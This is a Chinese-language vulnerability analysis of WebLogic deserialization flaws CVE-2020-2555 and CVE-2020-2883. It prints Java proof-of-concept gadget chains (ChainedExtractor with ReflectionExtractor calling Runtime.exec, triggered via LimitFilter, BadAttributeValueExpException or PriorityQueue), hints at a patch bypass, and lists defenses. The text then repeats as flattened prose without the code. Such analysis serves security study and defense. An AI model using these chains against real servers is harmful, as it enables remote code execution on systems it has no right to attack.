Weblogic 2020-2555&2883分析
字数 1220 2025-08-22 12:23:47

WebLogic CVE-2020-2555 & 2883 漏洞分析与利用教学

漏洞概述

WebLogic CVE-2020-2555和CVE-2020-2883是两个相似的Java反序列化漏洞,攻击者可以通过构造恶意序列化对象实现远程代码执行(RCE)。这两个漏洞的核心利用点在于WebLogic中com.tangosol.util包中的ChainedExtractorReflectionExtractor类的滥用。

核心组件分析

ChainedExtractor 类

ChainedExtractor类继承自AbstractCompositeExtractor,其关键方法如下:

public class ChainedExtractor extends AbstractCompositeExtractor {
    public Object extract(Object oTarget) {
        ValueExtractor[] aExtractor = this.getExtractors();
        int i = 0;
        for(int c = aExtractor.length; i < c && oTarget != null; ++i) {
            oTarget = aExtractor[i].extract(oTarget);
        }
        return oTarget;
    }
}

特点:

  • 遍历m_aExtractor数组(继承自父类)
  • 将数组中的每一项进行extract操作
  • 将前一个操作的结果作为下一个extract的参数

ReflectionExtractor 类

ReflectionExtractor类提供了反射调用功能:

public class ReflectionExtractor extends AbstractExtractor {
    public Object extract(Object oTarget) {
        if (oTarget == null) {
            return null;
        } else {
            Class clz = oTarget.getClass();
            try {
                Method method = this.m_methodPrev;
                if (method == null || method.getDeclaringClass() != clz) {
                    this.m_methodPrev = method = ClassHelper.findMethod(clz, this.getMethodName(), this.getClassArray(), false);
                }
                return method.invoke(oTarget, this.m_aoParam);
            } catch (Exception var5) {
                throw ensureRuntimeException(var5, clz.getName() + this + '(' + oTarget + ')');
            }
        }
    }
}

关键点:

  • 可以通过method.invoke(oTarget, this.m_aoParam)实现任意方法调用
  • 方法名(m_sMethod)和参数(m_aoParam)完全可控

漏洞利用链构造

基本利用原理

通过组合ChainedExtractorReflectionExtractor,可以构造类似Commons Collections(CC)链的攻击方式:

  1. 使用ReflectionExtractor构造方法调用链
  2. 使用ChainedExtractor将这些调用串联起来
  3. 寻找触发点调用extract方法

基础PoC示例

ReflectionExtractor first = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[]{}});
ReflectionExtractor second = new ReflectionExtractor("invoke", new Object[]{null, new Object[]{}});
ReflectionExtractor third = new ReflectionExtractor("exec", new Object[]{new String[]{"/bin/bash", "-c", "open /System/Applications/Calculator.app"}});

ValueExtractor[] valueExtractors = new ValueExtractor[]{first, second, third};
ChainedExtractor puzzle = new ChainedExtractor(valueExtractors);
puzzle.extract(Runtime.class);

完整利用链

  1. 触发点选择 - LimitFilter类的toString()方法:
public String toString() {
    StringBuilder sb = new StringBuilder("LimitFilter: (");
    // ...
    if (this.m_comparator instanceof ValueExtractor) {
        ValueExtractor extractor = (ValueExtractor)this.m_comparator;
        sb.append(", top=").append(extractor.extract(this.m_oAnchorTop));
        // ...
    }
    // ...
    return sb.toString();
}
  1. 最终触发 - 通过BadAttributeValueExpException在反序列化时触发toString()
LimitFilter c = new LimitFilter();
c.setComparator(b); // b是ChainedExtractor实例
c.setTopAnchor(input); // input是Runtime.class

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, c);

JDK 7/8通用PoC

由于BadAttributeValueExpException在JDK7中不触发toString(),需要使用PriorityQueue替代:

// 初始构造无害的extractor链
ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{});
ValueExtractor[] valueExtractors1 = new ValueExtractor[]{reflectionExtractor};
ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1);

// 初始化PriorityQueue
PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
queue.add("1");
queue.add("1");

// 通过反射替换为恶意extractor链
Class clazz = ChainedExtractor.class.getSuperclass();
Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
m_aExtractor.setAccessible(true);
m_aExtractor.set(chainedExtractor1, valueExtractors);

// 替换queue数组内容
Field f = queue.getClass().getDeclaredField("queue");
f.setAccessible(true);
Object[] queueArray = (Object[]) f.get(queue);
queueArray[0] = Runtime.class;
queueArray[1] = "1";

漏洞修复与绕过

CVE-2020-2883修复了第一条利用链的第二环节,但可以通过以下方式绕过:

  • 使用ConcurrentSkipListMap$SubMapMutations替代

总结与防御建议

技术要点总结

  1. 漏洞核心在于ChainedExtractorReflectionExtractor的滥用
  2. 利用方式类似于Commons Collections反序列化漏洞
  3. 需要根据目标JDK版本选择不同的触发链

防御措施

  1. 及时应用Oracle官方补丁
  2. 限制WebLogic服务器对外暴露
  3. 使用Java反序列化过滤器
  4. 监控可疑的Java反序列化操作

参考链接

  1. ZDI漏洞分析
  2. 4hou技术分析
WebLogic CVE-2020-2555 & 2883 漏洞分析与利用教学 漏洞概述 WebLogic CVE-2020-2555和CVE-2020-2883是两个相似的Java反序列化漏洞,攻击者可以通过构造恶意序列化对象实现远程代码执行(RCE)。这两个漏洞的核心利用点在于WebLogic中 com.tangosol.util 包中的 ChainedExtractor 和 ReflectionExtractor 类的滥用。 核心组件分析 ChainedExtractor 类 ChainedExtractor 类继承自 AbstractCompositeExtractor ,其关键方法如下: 特点: 遍历 m_aExtractor 数组(继承自父类) 将数组中的每一项进行 extract 操作 将前一个操作的结果作为下一个 extract 的参数 ReflectionExtractor 类 ReflectionExtractor 类提供了反射调用功能: 关键点: 可以通过 method.invoke(oTarget, this.m_aoParam) 实现任意方法调用 方法名( m_sMethod )和参数( m_aoParam )完全可控 漏洞利用链构造 基本利用原理 通过组合 ChainedExtractor 和 ReflectionExtractor ,可以构造类似Commons Collections(CC)链的攻击方式: 使用 ReflectionExtractor 构造方法调用链 使用 ChainedExtractor 将这些调用串联起来 寻找触发点调用 extract 方法 基础PoC示例 完整利用链 触发点选择 - LimitFilter 类的 toString() 方法: 最终触发 - 通过 BadAttributeValueExpException 在反序列化时触发 toString() : JDK 7/8通用PoC 由于 BadAttributeValueExpException 在JDK7中不触发 toString() ,需要使用 PriorityQueue 替代: 漏洞修复与绕过 CVE-2020-2883修复了第一条利用链的第二环节,但可以通过以下方式绕过: 使用 ConcurrentSkipListMap$SubMap 和 Mutations 替代 总结与防御建议 技术要点总结 漏洞核心在于 ChainedExtractor 和 ReflectionExtractor 的滥用 利用方式类似于Commons Collections反序列化漏洞 需要根据目标JDK版本选择不同的触发链 防御措施 及时应用Oracle官方补丁 限制WebLogic服务器对外暴露 使用Java反序列化过滤器 监控可疑的Java反序列化操作 参考链接 ZDI漏洞分析 4hou技术分析